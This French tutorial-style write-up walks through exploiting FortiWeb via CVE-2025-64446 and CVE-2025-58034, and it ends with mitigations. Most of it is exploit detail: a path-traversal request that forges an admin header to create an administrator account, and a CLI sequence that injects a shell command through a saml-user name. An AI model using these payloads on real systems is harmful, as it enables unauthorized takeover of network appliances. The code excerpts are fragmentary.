Simulation d'exploitation de FortiWeb (CVE-2025-64446 & CVE-2025-58034)

Remarque :

• Ce document est uniquement destiné à des fins d'apprentissage et de recherche en sécurité.
• Ne pas utiliser pour attaquer un système sans autorisation.

1. Aperçu

FortiWeb est un pare-feu d'applications Web (WAF) utilisé pour protéger les applications Web.

En 2025, deux vulnérabilités critiques ont été découvertes :

• CVE-2025-64446 – Contournement d'authentification via Path Traversal
• CVE-2025-58034 – Injection de commandes système

2. Aperçu de CVE-2025-64446

Exemple :

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Aperçu de CVE-2025-58034

4. Processus expérimental (POC)

4.1. Préparation de l'environnement :

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Ceci permet d'éviter les conflits de versions de bibliothèques, d'assurer la stabilité de l'environnement de travail et de limiter l'impact sur le système.

4.2 Exploitation

Payload

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Exécution de l'outil avec Python3 :

python3 exploit.py <IP_target>

• <IP_target> : L'adresse IP ici est le nom d'hôte de l'appareil FortiWeb.

Obtention du nom d'utilisateur et du mot de passe -> procéder à la connexion

Exploitation réussie et création d'un nouveau compte avec privilèges d'administrateur.

4.3 Exploitation de CVE-2025-58034 après connexion au compte

Après une connexion réussie avec le compte administrateur nouvellement créé, l'attaquant peut exploiter la vulnérabilité d'injection de commandes authentifiée via des requêtes spécialement conçues ou directement via l'interface en ligne de commande FortiWeb CLI :

config user saml-user

edit "`id`" ## nhập lệnh tại đây

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb quittera la chaîne de configuration et exécutera la commande id lors de la configuration de saml-user.

5. Quelques mesures d'atténuation

• Mettre à jour FortiWeb vers la version corrigée.
• Limiter l'accès à l'interface d'administration.
• Ne pas exposer l'interface de gestion sur Internet.
• Vérifier les comptes administrateurs suspects.

6. Références supplémentaires

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034